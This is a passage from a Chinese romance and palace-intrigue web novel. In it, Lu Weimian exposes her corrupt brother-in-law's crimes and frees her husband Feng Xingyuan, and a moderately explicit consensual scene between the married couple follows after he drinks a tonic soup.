“原本是以为牵连处罚能治罪的,不知怎么被他给免了罪,然后又投机到娘娘这来。” 淑妃点头,“那想必是他有了充足的证据撇清罪责。” “说来一个小小太监能从掖庭狱出来多半是背后有人帮忙。” “既然如此,那本宫就先探查探查他身上的罪证和身后之人。来日时机成熟,兴许能将这些人全部收押归案。” 鹿微眠没想到她会这么快将事情理清,“娘娘是要小心些,若有需要帮忙的也可告诉我。” 淑妃笑弯了眼睛,站起身来,“身为长辈,还要小辈操心实属不该。” “不过说来,当初将姜崇留在华阳宫的时候,他还算诚心。” 淑妃走到一旁上了锁的柜子边,拿着钥匙将柜子锁打开,“他也说自己是戴罪之身,不敢求本宫信任,因此把自己犯过的错都呈出来一份给本宫,也交了许多证物。让本宫考量要不要留他。” “这华阳宫里几百个宫人,本宫想着让他做个洒扫也不近身,便也无妨。” 淑妃打开柜子,拿出来一沓纸张,简单翻看着。 “这些东西本宫其实看不懂,不过是留个底万一日后能用到。” 她说着,转手将东西递给了鹿微眠,“若我日后需要你帮忙,不如先给你看看。” 鹿微眠看突然递过来的罪证,一时间恍惚,“娘娘愿意相信我?” “当然。这是另备的一份,我还有。”淑妃示意,“你今日既来了,那就是关心我安危来的,我如何不信。” 鹿微眠接过来,“只是没想到,娘娘第一次见面这般相信我。” “我们不是第一次见面了。”淑妃看着她,“我觉得在是非大事上,应该可以相信阿眠。” 阿眠。 她叫的是小名。 仿佛真的是与她血脉相连的姨母。 鹿微眠离开正殿,还不太敢相信,这些东西就这么交到了她的手上。 不过想来也是。 姜崇能明目张胆交出来的东西,那肯定不是致命的。 兴许许多都已经呈给朝廷过,将自己的过错遮掩掉。 不过此番提醒淑妃看起来还挺顺利的。 有些太顺利了,在她意料之外。 鹿微眠走着走着,突然听到有人叫她。 她转头看见树林小路里慕景怀走了出来,热情道,“姐姐你又来作客了吗?” 鹿微眠这会儿看见他还有些心虚,但仍然表面平静地回答,“是啊,好巧哦。” “是很巧。”慕景怀弯起眼睛看着她,“我今日有个礼物要送给你。” “上次那个蝴蝶风筝我已经收到了。”鹿微眠下意识地不想收太多他的礼物,“我很喜欢。” “那这个礼物你应该也会喜欢。” 慕景怀给了她一个帕子。 鹿微眠本来想拒绝,但看只有一个帕子,好像也没什么不能收的。 她拿过来,“这个帕子好看,我也很……” 帕子一角被风吹开,乍然间显露出了一枚珍珠耳环。 是她上次偷听到他对话,逃跑时落下的那枚! 鹿微眠脸上的笑容瞬间消失。 身边人的声音跟着变沉缓了一些,“姐姐不喜欢吗?” “喜,喜欢。”鹿微眠一下子握住那枚耳环,甚至不敢看旁边的人,“那个,我,我到出宫的时辰了,我该……” 慕景怀声音更低几分,“姐姐抖什么?” 鹿微眠不是想抖,她是想哭,“我没抖啊。” 她硬是扯出来一个微笑,对上身旁少年清明的视线。 只一眼,她就撑不住了,“对不起殿下,我先走了。” 跑出华阳宫时,她还听到身后人慢悠悠笑道,“怎么跑了呢。” “我很吓人吗?” 鹿微眠飞也似地逃离皇宫。 坐上马车才有种劫后余生的感觉。 慕景怀好像已经知道她发现了他的秘密。 不对,没有好像。 他就是知道了! 鹿微眠扶着马车内的软枕,还能听见自己疯狂跳动的心跳声。 她努力回忆着这位皇子的印象。 可她前世对慕景怀没有很多记忆。 他也没有任何争权夺势、恢复清醒神智的传闻。 他和淑妃同样死于沉城,到死都是痴儿身份。 所以她一直以为,他们应当是无辜受累的。 鹿微眠咬了咬指节。 仔细想来他和嬷嬷的对话,大概也只是在防备太子。 有没有可能。 他装傻这么多年,只是为了自保。 若是他好好的,按照陛下对淑妃的宠爱,很难不危及太子地位。 以慕青辞的手段,不可能留他。 但是痴儿那就无所谓了。 鹿微眠想多了头疼,也不去想这种可能了。 她回到封府,这会儿许是劳心伤神一路,让她有些腿软。 刚下马车,暮雨急匆匆地拿着一封信件跑来,“夫人!来信了!” 是夜,月明星稀。 封骏请大理寺同僚吃了顿饭,酒足饭饱之后,几个人勾肩搭背地低声耳语。 说话的便是那矮胖官员,“那封轸是有些难搞,但你放心,证据不足即便定不了罪,那也能拖一阵子。” “等我这边事成,再给你答谢。”封骏拍了拍男人胸脯,说完,大摇大摆地回了封府。 封骏一回院,远远看着一道俏丽身影站在他的院子内。 起先,封骏还以为自己眼花了,定睛一看,果真是鹿微眠。 这深夜跑到他院子里来,封骏顿时明白了是怎么回事。 他站直了身子,接着酒劲,胆子大了许多,“弟妹来了啊。” 鹿微眠随口道,“二哥回来的也巧。” “方才还问你院里的下人,你去哪了。” “弟妹久等了。” 封骏走上前,伸手示意,“咱们……进屋聊?” 说话间,封骏大胆地打量着她。 清透月光将美人衬得更加冰肌玉骨,惹人怜爱。 鹿微眠并没有要进门的意思,“我们就在这院子里说吧。” 封骏见她还拿乔,不由得背起手来,“弟妹该懂,什么叫识时务者为俊杰。” “眼下,弟妹若想真的救你夫君,应当乖乖听我的。” 鹿微眠看起来很平静,“若我不听呢?” “不听简单啊,那弟妹就请回吧,不过你夫君如何我就不能保证了。” 真是不懂她有什么好装的,眼下都求到他门口来了,还要装清高。 醉意渐浓,封骏心思也张狂不少。 一下子想起来,不久前在司空府憋下的气。 司空府大小姐又如何,如今不还是得好声好气的求他。 他今晚,非要将自己受的气,从她身上一一讨回来才罢休! 鹿微眠看着他,“我来一趟也是费了些功夫的,回去做什么。” 封骏以为她是开始说软话,冷笑一声,上前几步想要去拉她,“弟妹若方才就是这般态度,那我们什么话都好说。” “走,跟我进屋。” 鹿微眠躲开,“我想你应该没懂我的意思。” “我不是来跟你聊我夫婿的事情,”她抽出手中的卷轴,“是来聊一下你在大理寺以权谋私,收受贿赂,徇私枉法,逍遥已久的事情。” 封骏听到一半,醉意便清明不少。 他不屑地嗤笑一声,“弟妹还懂这个,官场上的事情,可不像你想得那么简单。” “你说得对,我不太懂。”鹿微眠看向他身后,“所以我请了监察司调令,找了懂的人来。” 封骏脸色微变,先是定定地看了鹿微眠片刻。 而后转身,忽而愣住! 封骏发觉他的院子不知何时已经被监察司的人包围了。 他踉跄两步,“这……” 他转头指着鹿微眠,“你……请调令?你有何证据请调令!你懂不懂……” “我这里全是证据。”鹿微眠拿着手里的卷轴,“要看看吗?” 慕青辞与她核对过的罪证里,少不了封骏的一笔。 今日从华阳宫带回来的,姜崇泄露出的证据,也能对上。 姜崇聪明些还懂脱身,可封骏实在是不太聪明,还如此招摇。 封骏脸色铁青,上前几步抢过来。 只是打眼一看脸色就更加难看,想也不想当着鹿微眠的面直接撕碎! 他嚣张的扬声,“证据在哪?!我怎么没看见!” 鹿微眠看着他的动作没什么波动只是淡定地从袖口又拿出一个卷轴,“我这备了挺多的,还要撕吗。” 封骏瞪大了眼睛,一时间没忍住破口大骂。 接着被身后监察司的人按住,“大人还是配合一些。” “你的罪证清晰,监察司批准查处,你这个院子也得搜查。” 封骏挣扎起来,“是假的!她给的证据一定都是假的!” “你们不知道,我刚抓了她丈夫,她一定是蓄谋诬陷!” 监察御史被他吵得耳朵疼,示意身边下属,一桶水泼了过去,“让他醒醒酒。” “封大人刚查到你这般罪过,就被你冠以谋杀罪名拖在大理寺,个中缘由你自己清楚。” “本官要提醒你,你妹妹的死,我们今日也去问过,至今没查到封大人动手的证据,却还关押不放人。有违律例,若是你为了脱罪,以妹妹做饵,那便做好准备。” “谋害亲妹可是大罪,你要是早些承认了,态度好些,还能争取一下流放。” “不然数罪并罚,又诬害朝官……”监察御史有意停顿了一下。 谁都能听得出来他停顿后的深意,“你自己考虑考虑。” 封骏呼吸急促,人却安静下来。 他不敢相信怎么方才还在跟同僚宴饮,这会儿就落了难,这辈子都毁了。 明明他的计策那般高明! 封骏无法接受,“我没有,不是我,是假的!” “鹿微眠!”封骏抬头看过去,目眦欲裂,“你个贱人,你敢害我?!” “贱人你等着!你等我出来,看我如何收拾你!你和封轸都给我等着!” 鹿微眠波澜不惊,只是转头认真地看向监察御史,“他恐吓朝官与官眷,是不是还能罪加一等?” 封骏:“?” “酌情加罪。” 寻常恐吓难以定罪,但如果影响到了朝廷运作是可以用散布恐吓言论来论罪。 鹿微眠很礼貌地道谢,“那麻烦了,我还挺害怕的。” “我一害怕,我夫君就不能好好办差,你知道的我夫君办差都事关陛下安全,挺严重的。” 监察御史被她说得一愣一愣,但她说得是对的,“夫人不必担心,我们会按规程办事。” 鹿微眠见没她什么事,就离开了二房院子。 隔壁封贺和罗氏也被监察司的人暂时关起来,等搜查完他们家里再做论处。 她远远地听见罗氏哭喊着,“我儿是清白的啊。” “你们不能听他们的!这是污蔑!” 鹿微眠抬起头看了一眼头顶清明的月色。 想来她那小可怜夫君孩童时度日艰难,没少被栽赃陷害。 又无依无靠孤立无援,没有人相护,才总让旁人觉得他好欺负。 如今有她在,断然不能再让他受这般委屈。 鹿微眠长长吐出一口气,脚步轻快地往自己的院子里走。 暮雨开心地在鹿微眠身边蹦蹦跳跳,“说来还真的快啊,昨日咱们才去监察司请的调令,今日就送回来了。” 她今下午收到给鹿微眠送过去的就是那个调令。 “朝中也不全是贪腐蛀虫,其实当今陛下用人眼光还是不错的。” 鹿微眠不得不承认这一点,高位的朝臣忠良颇多。 如明国公、永昌伯、卫沉、她父亲等等。 但帝王也不可能面面俱到,总有些漏网之鱼。 次日清早。 封行渊一夜未眠,按照自己的计划开开心心地在大理寺布置了一晚上。 一根引线,引到了自己那间幽禁暗室内。 他盘算着那几个讨人厌的朝官和封骏上值时辰,把玩着手里的火折子。 只需要等人来,点燃那根引线,火星沿路烧到那间屋子,那间屋子和人就都烟消云散。 只留下他们的罪证。 屋外日光从暗室墙角的窗户一角倾泻而下。 封行渊手指轻点膝盖,顺着日光的角度* ,观察时辰。 时辰一到。 他吹亮火折子,刚要点燃引线。 屋外便响起脚步声,有人进来。 封行渊轻扯唇角,暂且允许他们多活片刻,将火折子熄灭。 屋门被打开。 开门的侍卫客客气气地拱手行礼,“封大人,多有得罪。” 封行渊微微眯起眸子,“得罪什么?” “此番,封骏已然招认,全部是他暗害大人您。” “这几日您受委屈了。” 封行渊有点不满,他不太想出去,但又不得不起身。 “怎么突然就招认了?” 他还没弄死他呢。 侍卫走在前面,“封骏事犯多项罪名已经被监察司收监,还谋害亲妹,听说罪名足够处斩。今早监察司从大理寺内带走不少官员,事情复杂,等令夫人跟您细说。” “我夫人?” “对。令夫人来接您了。” 封行渊正巧走到门口,眼前天光大亮。 大理寺正门外,清晨日光来处,有人在那里等他。 第39章 刑罚 瞧见他出来, 鹿微眠开心地朝他招了招手。 已过立冬,她身上拢了一件鹅黄色毛绒斗篷,发钗上也换成了冬日的绒球。 比日光更加热烈柔软几分。 封行渊头一回觉得, 日光没有那么刺眼。 他朝着她走过去,“这么早。” “是啊。”鹿微眠理所当然道,“接你回家不是得早一点。” 鹿微眠仰起头, 很轻松地抚落他肩头看不见的灰尘, “怎么样, 我来得快吧。” 封行渊在那一个瞬间意识到。 鹿微眠让凌一给他带话,安慰他“别害怕”。 她是认真的。 封行渊在原地站了许久, 突然低笑出声。 “这么早起来, 困吗?” 鹿微眠诚实无比,“好困。” “你知道吗, 我今早寅时就起床了。” 她上次寅时起床还是成婚那两天。 “寅时啊。”鹿微眠赞叹着,“我可太厉害了。” 封行渊点头,“夫人还是睡到午时更厉害一些。” “明日我一定要睡到午时, 谁也别叫我。” “不叫你。” 鹿微眠拉他上了车,“你这几日在大理寺如何?” “他们有没有为难你?” 封行渊沉吟着,“还好。” 就是他这几日摸清楚大理寺的布局和内部关系。 盘算着炸了这里来着。 但他现在心情有点好,这大理寺可以先不炸了, 人也可以先活着。 封行渊想着方才侍卫的话,“他们说, 封骏被抓了,是你做的?” 鹿微眠不置可否, “他会请调令抓人, 那我也会。” “况且我有证据,我才是合乎礼法地抓人。” 鹿微眠侃侃而谈着昨晚的事情, “他昨晚还死不承认,后来听说被带回监察司后,没多久就招认了。” “然后牵连查出大理寺一批同党,今日一并查封。” 他们的马车启程,后面监察司的人也从大路另一侧上前将大理寺查封清算。 内部正在审理的案件移交刑部等地暂行代替审理。 封行渊听着,突然出声,“如果有一天,发生了一场意外,他们直接死了,那会不会更轻松?” 鹿微眠轻“啊”了一声。 然后看起来很认真地在思考这个问题,“可能会吧。” “但是我也不知道死的是该死的人,还是不该死的人。” 封行渊很少思考这个区别。 他这里一直都是弱肉强食的丛林法则,争斗中谁赢谁活。 活不下来,那就是被丛林淘汰的弱者,死不足惜。 所以他问,“什么人不该死?” “像是封骏那种罪大恶极,当然该死,”鹿微眠思索着,“可是还有人,他们迫于生计压力,被逼无奈。恰好恶官压他一头,指使他去做坏事,不做就要被一同挤兑,或者拿家人威胁。” “这些人,虽然有罪,但罪不至死。” 鹿微眠言简意赅道,“所以说律法需要详尽甄别是非对错,以及犯错程度来量刑。” 封行渊觉得这些规矩和道理还蛮复杂的。 但他的夫人似乎是个很讲道理和什么是非对错的人。 他有点想学一下。 回府路上沿着官道,时不时能碰见监察司的人骑马过去。 有些人凑在路边看热闹。 到了封府门口,监察司的人正好将缴获的金银细软从封府抬出。 见到鹿微眠他们回来,才让开一条路。 一进大院,便看到正厅里,御史里行清查完封骏的东西,被封贺和罗氏围住。 “我儿如何了?” 御史里行公事公办道,“令郎已认罪,当下按罪行应当是年前问斩。” 两人一时间如遭雷劈,封贺抓着前来调查的御史里行不松手,“大人,他是不是被刑讯逼供的,我儿为何要认这种罪名?” 御史里行不满,“你是怀疑我监察司会对官员刑讯逼供?” 封贺连忙低头,“不敢不敢。” “二位的心情可以理解,但令郎犯的错里,谋害亲妹罪以至死,更遑论受贿、徇私,还请节哀。” 这话刺激到了两个中年人,封贺声音发抖,“你们再查查,这不可能啊,他断不可能做这种事情!” “他一定是被诬告陷害的。” “那是他亲妹妹啊!” 御史里行被缠得头疼,径直往外走。 罗氏跑上前,拉着御史里行的衣角,噗通一声跪在地上,“大人,你们再好好查一查。” “他是被冤枉的!他没有杀他妹妹!他不会杀人的!” “他是被污蔑的,他们污蔑他!” 御史里行手忙脚乱地将人甩开,忙不迭地往外走,躲避这纠缠。 刚走两步,碰见进门的鹿微眠和封行渊,朝他们行礼后离开。 封行渊越过他,看见罗氏跪在院子里,近乎声嘶力竭地重复,“这是污蔑陷害,是他们想污蔑他”。 冬日凄清,百花凋敝,这回音碰撞在院墙之上,声声震耳。 像是十年前的某日。 有人指着他大喊,“就是他杀的人。” 也像是凌一在旁边气急败坏地反驳,“你污蔑我们!” 鹿微眠往前走了几步,没听见身后的脚步声,回头看他还站在原地,“封行渊!” 封行渊回过神来。 鹿微眠折返回来拉他,“走啦。” 少年低头看着她拉过来的手。 随后,他提步,离开了幼时困住他的牢笼。 他原以为他不在乎。 毕竟他天生坏种。 他们都这么说。 孙嬷嬷瞧见他们回来,喜不自胜,“回来了好啊,回来了就好。” 她招呼着他们进门,“房间我已经收拾好了,你们歇一歇。” 孙嬷嬷提着一个篮子,“我收拾出来一些杂物,你们瞧瞧这些还要吗?” 鹿微眠简单翻看了片刻,东西都是他们塞在柜子里不用的,“应该不用了吧。” 但是有些事封行渊的,鹿微眠叫封行渊过来看。 封行渊确认过后便道,“拿下去吧,这些应该用不到了。” “好嘞。”孙嬷嬷笑眯眯地下去,“我给你们做好吃的啊。” 鹿微眠缠着她要了个糖醋小排,便回了房间休息。 孙嬷嬷将收拾的杂物规整好,冷不丁从里面摸出来一个小瓷瓶,上面写着“血元丹”三个字。 孙嬷嬷拿在手里翻看了一会儿,“这该不会是落下的?” 她想着,走出院子回去找鹿微眠。 走到门口碰见暮云,“咱夫人今早起太早了,这会儿睡了。” “睡了啊。”孙嬷嬷将手里的瓶子递给暮云,“你看这是什么?” 暮云看这瓶子眼熟,她想起来了,“这个是之前夫人买给姑爷补身子的。” 暮云回想着那老板的说辞,“听说能强身健体,是大补。” “这样啊。”孙嬷嬷庆幸,“还好我问你了,要不就给扔了。” “既然是好东西,姑爷怎么没留着呢。” 暮云思索着,“兴许是不好吃吧,八成姑爷不喜欢吃药。” 孙嬷嬷觉得合理,“那你说这个拿来炖汤如何?” “补身子的东西,应当怎么都不会差。不是许多郎中都开药膳吗?” 孙嬷嬷点头,开开心心地进了小厨房,差钧宜去买食材。 计划着今晚给他们做顿好的。 午膳过后,鹿微眠本是想要小憩片刻,结果一个没忍住,直接睡到了傍晚。 鹿微眠呆愣愣地望着外面昏黄的天色,恍惚了一阵子,立马坐了起来,“什么时辰了?” 一旁封行渊把玩着一些小盒子,看起来兴致盎然,“酉时。” “都酉时了!”鹿微眠爬起来,这一天好像什么都没干,就早上起来去接了个人。 封行渊手里翻着什么,“夫人不是起早需要补眠吗?” “我怕晚上睡不着了,”鹿微眠下床,忙去整理了下头发,这才注意到封行渊手里的东西,“你在看什么?” 封行渊将盒子放下,“方才有人来送东西,说是花木局的。” 鹿微眠想起来,“大概是我要的种子来了。” 她从封行渊面前拿过盒子,打开翻看着。 约么十几种,每一个盒子里面都贴了品种名称。 他在看的是蝴蝶兰。 “你喜欢蝴蝶兰吗。” “嗯。” “那我们可以先种它,”鹿微眠挑选着种子,“趁着冬日种好,明年春天就能开了。” 花木局送来的种子各个都饱满结实,品相极好。 孙嬷嬷敲门询问,要不要用晚膳。 眼下也到了时辰,鹿微眠叫他们进来。 不多时,碗碟就遍布了整张桌子。 孙嬷嬷在旁边示意她新炖的汤,“姑娘姑爷这些时日劳心伤神,正好冬日了,也得喝些汤滋补。” “尝尝这个黄芪排骨参汤,我可放了补药在里面。” 鹿微眠先尝了一口,鲜香入喉,人参和黄芪的药气反倒让这味道很是令人惊喜。 鹿微眠点了点头,“好喝。” “好喝就多喝一些。”孙嬷嬷笑眯眯地说完就先离开了房间。 封行渊并没有动汤。 原因很简单,他不喜欢喝带药味的东西。 不论滋补还是治病。 这些东西一靠近他,他就会本能地排斥。 鹿微眠喝了一碗觉得好喝,主动帮封行渊盛了一碗,“这个还挺好喝的,你正好也需要温补一下,可以试试。” 封行渊点头答应着,将碗放在旁边。 鹿微眠快吃完,才发现他没有动,“你不尝尝吗,很好喝的。” 封行渊犹豫着想拒绝,抬头对上鹿微眠殷切的目光,到嘴边的话慢慢咽了回去。 他寻了个说辞,“方才有些烫,这会儿应当差不多了。” 他伸手拿起了碗,轻抿一口。 味道的确鲜美,似乎没有那么难以接受。 封行渊将那一整碗一饮而尽。 鹿微眠看着他的举动,并不像是喜欢的样子。 “你是不是不太喜欢?” 封行渊停顿片刻,诚实道,“有药味。” 鹿微眠了然,她将碗拿开,“人参与黄芪是有些药的味道,你若是不喜欢不必勉强的。” 封行渊见她把碗拿开并没有觉得轻松多少。 反倒有一股诡异的躁升腾起来,无声无息地刺激着他身体里的恶劣想法。 他凝眉看向那碗汤。 鹿微眠浑然不觉,她看起来没有任何异样,只是脸颊红红的,气血颇足。 她吃过饭更显得精神,跑到窗户前,将他们家院子的布局描下来,看着哪里可以种花,如何种更加合适。 封行渊叫人将晚膳撤下去。 仍坐在桌前眉头紧锁,“这汤会让人很热吗?” 鹿微眠听见他说话,“喝汤本来就是暖身的,何况里面还加了药材,你热吗?” 少年嗓音发闷,“嗯。” “你不然来这里做一会儿,”鹿微眠开了窗,“窗口会凉快些。” 她拍了拍自己身边的位置。 封行渊起身走过去,坐在她旁边的位置上。 初冬时节还是能开会儿窗的,屋外微凉的风吹在身上能让人清醒不少。 鹿微眠在忙着。 封行渊坐在旁边玩她的头发。 她刚起床,长发简单规整了一下就披在身后,被封行渊缠了一圈放在掌心。 起先窗外的凉意还能缓和些。 渐渐地,这股凉意已经不能够浇熄这越来越膨胀的热意。 封行渊盯着她落在掌心的长发出神。 鹿微眠画好院内的布局,膝盖碰了身边人的腿一下,指着图纸上一处,“那你看,种在这里好不好。” 这一下,像是忽然间撞开了什么闸门。 不碰则已,一碰,仿佛给了少年指引,如何能让这股躁找到出口。 封行渊抬眼,看得并不是她手上所指的图纸。 而是她的脸。 少年深不见底的黑瞳倒映着烛火微光,光影明灭,“种什么?” “种蝴蝶兰啊。” 鹿微眠又靠近了一些,将图纸摆在他面前,膝盖几次碰到他。 大抵是觉得膝盖相抵的感觉不太好,鹿微眠自然而然地把腿挂在了他的腿上,近距离示意,“你看,我觉得这里不错。” 封行渊看着她把腿挂上来的动作,冷不防地伸手压住了她的膝盖。 将她的腿牢牢压在他身上。 鹿微眠这才意识到不对劲。 她低头看过去时,听到他叫她,“鹿微眠……” “我想亲你。” 这话题跳跃得格外快。 鹿微眠思绪停滞了一下,“什么?” 封行渊已经握着她的膝盖将人再度往自己身边拉近,“你不是说,这是夫妻间很常做的事情吗?” 鹿微眠没想到他单手捏着她膝盖,就能把她整个人往他身边拖。 这突如其来的掌控感过强,她怔愣片刻时,封行渊已经将她拉到了身前,低头含吻住她微开的檀口。 他身上发烫。 呼出来的热气熨帖着她的唇齿。 鹿微眠鼻息间被他身上好闻的清茶香气充斥。 他的吻偶尔还是会掺杂咬的动作,像是本能无法更改,但收了力气。 咬到的痛很快会幻化成微妙的痒,让人很难控制住不加深这个吻。 夜里的凉风拂过窗柩,鹿微眠忽然反应过来没关窗。 晚间点着灯,他们这般很容易让人发现他们在做什么。 她忙回过神,“窗户……” 鹿微眠刚站起来要关窗,身后接着伸过来一只大手“砰”地一声将窗关上,径直按着窗框,将她抵在了窗边继续。 动作之大,连带着旁边的烛灯也被风带灭。 鹿微眠腰际卡在桌子边缘,被他抵压着微微发疼。 下一瞬就被他提起,抱上桌子。 鹿微眠方才画好的图纸被推到一旁。 到底是窗边的窄桌,她坐在桌子上,后背紧贴着刚刚被关上的窗户,被压在窗户上。 她胸腔都跟着被胀满,舌根发麻,尾椎酥软。 鹿微眠感觉到腰腹酸意渐渐融化成一股温热暖流,很快集中到小腹。 双腿下意识地想要收紧,却夹住了男人腰身。 这一下,封行渊忽然停住。 他单手撑在窗户上,剑眉蹙紧。 那双忽明忽暗的异瞳翻卷起异样的暗流。 这种感觉很熟悉。 想撕碎、破坏、攻击。 想磨搓、蹂躏她。 很坏的想法。 鹿微眠见他突然停下来,额角绷起青筋,渗着细密的汗珠。 封行渊眉头紧锁,呼吸剧烈地起伏着。 鹿微眠被他抵在窗户和他之间的狭小空间里,他的呼吸声震得她骨头发软,“你怎么了?” 封行渊呼吸深重,缓慢地吐出一口热气,喷洒在她脆弱的颈间。 激得鹿微眠轻轻一颤。 他声音嘶哑,“你没有惹我生气,我为什么会想罚你。” 鹿微眠很轻地屏气,她大概意识到,他说的罚不是寻常的惩罚。 封行渊蹭着她的颈窝,像是一只寻求安慰的小动物,“想罚你,想欺负你。” “像书里那样。” “什么书?” “那本讲给亲密之人用刑罚的书。” 鹿微眠没有继续问,因为她感觉到了。 毕竟并没有收拢的**卡着男人的腰身。 她也能想象的到,封行渊说的书是什么书。 而少年还在解释自己的痛苦,“想把这个,塞进你的身体……” 第40章 喜欢 鹿微眠再次被他过于直白的话说得浑身充血, 慌忙打断他,“别,别说了。” 她声音越说越低, “我知道。” 封行渊以为她不高兴了。 兴许是听到他无缘无故要欺负她,她不高兴。 换做是谁都不会高兴。 他想,那么小的地方, 兴许会撑裂受伤。 “我是不是很坏。” “没有, 这不是坏。”鹿微眠不知道该怎么解释, “这是……这是,正常的。” 又是正常的? 封行渊在辨别她话中含义真假。 鹿微眠庆幸这会儿灯已经被灭了, 封行渊看不见她红得快要滴血的脸。 “那不是什么讲刑罚的书, 那是,是是是讲夫妻房事的书。” “房事是什么事?” “就是……”鹿微眠觉得自己的脸皮, 以及封行渊对事情直白的理解程度,她根本讲不出来特别直观的行为,“就是你在书里看到的那个事。” 她吭吭哧哧地解释, “这是夫妻间,常做的事情。” 封行渊停滞了很久,去思考她说的话。 可他当下的状态也不容他思考太长时间。 “可是,”少年蹭了一下她耳鬓碎发, “你吞不下去。” 他的动作毛茸茸的,但说话攻击性很强, “会裂。” 鹿微眠心跳飞速,这样僵持着也不是办法。 她心一横, 伸手碰到了他的腰封。 几乎是她碰到他时, 他侧头轻吻过她的耳珠,鹿微眠被他灼热的气息弄得手脚发软。 手落下去, 就被他握住拿起来,带到了腰封处。 男人对此事都带着些无师自通的天赋。 大抵是她给一个信号,他就知道接下来该怎么做。 也或许是在梦里做过。 少年扣着她的手腕,包裹拢住。 鹿微眠下巴搭在他的肩头,有些逃避意味地想要忽视掌心触感,整张脸都快埋进了他的肩窝里。 即便是这样,她也像是被欺负了。 眼尾沁湿,浑身涨红。 气息声此起彼伏,他带着她的动作不局限于手。 鹿微眠忽然间被撞了一下。 她猝不及防地发出极低的呜咽,反应过来后一口咬住了他的肩。 细微的疼痛再度刺激到了他。 少年想咬回去,但落在她身上时,还是收了牙齿,变成吻。 鹿微眠青色的裙子被沾染得没法见人。 一切安静下来后,手被他握着浸在水中清洗。 封行渊看她红着眼睛,一言不发。 觉得自己还像是做了坏事。 洗完手,他又看了她许久。 看得鹿微眠心尖发颤。 僵持片刻后,他才道,“衣服上,也有。” “我,我知道。”鹿微眠也知道他是什么意思,“我自己换。” 鹿微眠说完自己跑去了净室。 褪下被染脏的裙子,除了外裙上的东西。 鹿微眠抿唇,看见了她底裙上一小片暗色,牵连出一道冰丝线。 夜深人静。 封行渊坠入无边梦网。 梦中的一切一次比一次清晰。 他贪婪索求着,看她浑身发抖都没有丝毫节制。 在她的尖叫声中,变本加厉。 本性难移地刺激她,“不是嫁过人了,你夫君没这么对过你吗?” “这就受不了了,封夫人。” 她很抗拒,“不要提他。” “为什么不提封轸?”他嗓音嘶哑,“他没到过这里吗?” 她哭着咬他。 他反倒觉得更刺激了些,“我差点忘了。” “鹿微眠你弃了他,却落到了我的手里。只能爱我这个混蛋。” 他好坏。 封行渊撑着额角回忆梦境。 眼底那颗红痣更衬得他黑瞳晦暗难测。 可是,他为什么会梦到,她弃了他。 还有上一回,那人提起,她知道他的致命弱处要对她有所防备。 这二者有直接的联系吗。 封行渊黑瞳半阖。 所以,这些也是真的会发生的? 他正想着,房门被人敲开。 鹿微眠的声音从门外传来,“我可以进来嘛。” 封行渊看着书房门口,“进来。” 鹿微眠手里拿着一个画册,从屋外走进来,“过两日要去明国公三姑娘婚宴,我想着给他们打一对发钗,你瞧瞧什么花样好。” 鹿微眠说着,将画册推到了封行渊身边。 她话说完,并没有听见回应。 抬头发觉他正在看她。 鹿微眠哽了一下,“你看我干什么呀,看画册。” 封行渊敛眸,接过她手里的画册,“其实夫人选就好了。” “折了角的是我看着好的,但是又选不出来。”鹿微眠示意,“这三对里面,你看哪一对好。” 封行渊神色专注了些。 在他挑选的空隙,鹿微眠瞥见他手边一个熟悉的书本。 原以为她在办公务文书,鹿微眠刚想视线回避,冷不丁想起来这封皮之前从她的房间里看到过。 鹿微眠闲来无事,伸手拿了过来。 “《洞玄秘经》,这本书从前是放在我房里的吗?” 封行渊抬头看了一眼,坦然应道,“是。” 名字还挺修身养性的。 “我房里竟然还有这种……”鹿微眠刚翻了两页就察觉到了不对劲,她的话一下子咽了回去。 再往后翻等图画出现,就更加不对劲了。 先出现的图画,是讲述男女身体构造区别,和关键部位的详细图。 再后面就是…… 鹿微眠“啪”地一声合上。 声音之大,让身侧少年抬头看过来,“怎么了?” “没怎么。”鹿微眠想起来了。 这好像是他说的那本“刑罚之术”。 少年顺着她惶惶然的表情,看到了她手上拿的书卷。 恍然笑了,“夫人不是说,这是夫妻间很正常的事情。” 他眸光纯净,似乎不觉得这件事有什么不能见人的。 但鹿微眠自小在高门大院里循规蹈矩,还是不太能青天白日直视这个画面,直白地聊这种事情。 “是正常。”鹿微眠很快速地转移话题,“你选好了吗?” 封行渊将选好的那一页递过去,但没有被转移话题,反倒是倾身近距离地看着她的眼睛,“那夫人为什么这么害羞啊。” “我没有害羞啊。”鹿微眠故作淡定,但身体诚实地往外走,“我就是,得先回去叫金匠去打发钗了。” 说完,她抱着画册快步离开了书房。 封行渊看向她翻过的那本书,再度拿了起来。 从前以为是刑罚之术,他一时用不着也就没有细看。 如今是夫妻间正常的事情,他还是想看一看的。 封行渊发现,他好像有点想跟她一直做夫妻了。 或许他做的好一些,一切就会和梦里不一样。 * 鹿微眠送去凤麟楼里打的发钗在大婚前两日赶工完成。 她说着要去拿打好的发钗,封行渊听到了感兴趣的东西,也来了兴致,“我与你一同去。” 鹿微眠看他,“你今日没有公务了?” “今日休沐。”封行渊喜欢那些漂亮的小东西,鹿微眠妆匣里的他都已经看遍了,想去看看新鲜的。 鹿微眠想着带他正好有人帮忙提东西,答应下来。 长安城西市内车水马龙,一片繁荣盛景。 封府马车在凤麟楼前停下来,下车即是一座八层楼宇。 格调气派典雅,来往出入有零星的官眷与大户人家前来取东西的下人。 凤麟楼是长安城西市有名的珠宝铺子,来往定制的多为京城官眷与皇亲贵胄。 里面除了寻常的珠宝样式,还有些波斯、楼兰送来的奇珍异宝。 因而格外受人欢迎。 按理说他们叫下人来取东西就好,但逛这些珠宝店铺,顺便看看琳琅满目的漂亮首饰,总会让人心情很好。 鹿微眠每次一来就挪不动步子。 她看了一会儿货架上紫檀花流苏步摇,又沿路看到银丝凤羽钗环。 一旁服侍的小二笑着,“夫人真是好眼光,看上的都是我们店里新来的孤品,只此一件。” 小二说着,又伸手示意另一边,“这个是波斯新来的红宝石,还有西陵的玫瑰石。” 一旁专注于各色小石头的封行渊听到了什么字词,偏头看过去。 鹿微眠看着那色泽晶莹剔透的粉色宝石,轻叹,“竟还有粉色的。” “这玫瑰石是西陵特有的,从前只有王室才能用,是每一任西陵王给王后的定情之物,取一颗玫瑰原石,定制珠宝。当年西陵亡国之时,才流传出来的,眼下整个大郾都只此一枚。” 这一枚个头也不大,只有一个指甲的大小。 像是整颗宝石的边角料,但是要价颇高。 想来也是,一个价值不菲的宝物流传到民间,很难囫囵个地保留下来。 何况能出现在街市上的,应当并不是完整的。 店小二笑呵呵道,“夫人……考虑吗?” 鹿微眠摇头婉拒,“若真是西陵王给王后的定情之物,我怕是不敢用。” 